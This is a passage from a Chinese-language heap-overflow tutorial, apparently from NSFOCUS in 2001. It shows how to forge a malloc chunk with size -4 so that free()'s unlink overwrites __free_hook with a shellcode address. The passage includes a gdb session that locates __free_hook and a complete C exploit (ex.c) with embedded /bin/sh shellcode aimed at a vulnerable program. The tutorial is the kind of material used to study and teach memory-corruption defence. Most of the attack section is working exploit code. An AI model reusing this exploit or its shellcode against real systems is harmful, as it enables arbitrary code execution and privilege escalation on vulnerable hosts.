因此我们决定采用这种方法。
块1 ( 块3 ) 块2
+---------------------------------------+------------------------+
|prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
| |<---- 8 字节 -->|
| |
|<----- 16字节 -------->|
在上面的图上,我们将块3的8字节的内部结构放在了块1的用户数据区中,而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段,而块2的prev_size我们也不关心,我们还可以有更简化的
版本:将块3往右移动4个字节,即让siez3与prev_size2重合!
| 块1 |.... 块3 ..| 块2 |
+---------------------------------------+------------------------+
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
| |<-- 4字节-->| (size3)
| |
|<----- 16字节 -------->|
这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下:
prev_size2 = 0x11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */
size2 = 0xfffffffc /* 长度为-4 */
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode
至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
我们的工作就大大简化了,只需要构造一个块2就可以了!
现在我们看看我们要做的事情:
i. 使用32字节数据模板,前16字节是任意非零数值,而后16字节是我们伪造的
块2
ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
$ [warning3@redhat-6 malloc]$ gdb ./vul -e
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r
Starting program: /home/warning3/malloc/./vul
Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
10 buf = malloc (16); /* 分配两块16字节内存 */
(gdb) p/x &__free_hook
$2 = 0x401091b8
iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码,以便
跳过一个malloc_chunk结构,因为(__free_hook-12)这个值会被写到
shellcode+8处.
+--------+---------------------+---------------+
|jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
+--------+---------------------+---------------+
|<---- 10字节 ---->|
5. 一个演示程序
下面我们就可以来写溢出程序了,其实是相当简单的:
/* Exploit for free() with unlinking next chunk - ex.c
* by warning3@nsfocus.com (http://www.nsfocus.com)
* 2001/03/06
*/
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
char shellcode[] =
"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*这一段是为了跳过垃圾数据*/
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;
/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
/* 设置长度为-4,这个值应当是4的倍数 */
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12 ;
*ptr++ = codeaddr;
bzero(buf, 128);
memset (buf, 'A', 16); /* 填充无用数据 */
memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
execle (VULPROG, VULPROG, buf, NULL, env);
} /* End of main */
运行一下看看:
[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA?








